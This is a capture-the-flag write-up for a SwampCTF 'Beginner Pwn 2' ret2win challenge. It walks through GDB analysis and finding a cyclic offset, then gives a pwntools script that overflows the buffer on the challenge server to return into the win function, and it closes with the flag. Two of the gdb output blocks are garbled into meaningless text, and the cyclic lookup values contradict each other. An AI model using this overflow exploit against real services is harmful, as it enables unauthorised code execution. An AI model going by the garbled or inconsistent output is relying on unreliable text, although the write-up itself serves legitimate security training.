## **PWN** | Beginner Pwn 2

To get the flag, you need to perform a ret2win

I used gdb to analyze the binary file

```
Consideration of the constraint of the constrain
```

Let's disassemble the win function and get start/ret addresses

```
| Company | Comp
```

Start address: 0x000000000401186

Ret address:

## 0x000000000401227

The next step is to get the offset, for this we create a payload of 100 characters using cyclic to overflow the buffer

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```
pomdbg> cyclic -l 0x61646161616161
Finding cyclic pattern of 8 bytes: b'aaaaaada' (hex: 0x61616161616461)
Found at offset 18
```

## Offset: 18

I wrote the following code to get the flag

```
# import pwntools
from pwn import *
p = remote("chals.swampctf.com", 40001)
offset = 18
payload = b'A' * offset
# ret add
payload += p64(0x00000000000401227)
# start add
payload += p64(0x00000000000401186)
p.sendline(payload)
p.interactive()
```

## Flag: swampCTF{1t5\_t1m3\_t0\_r3turn!!}

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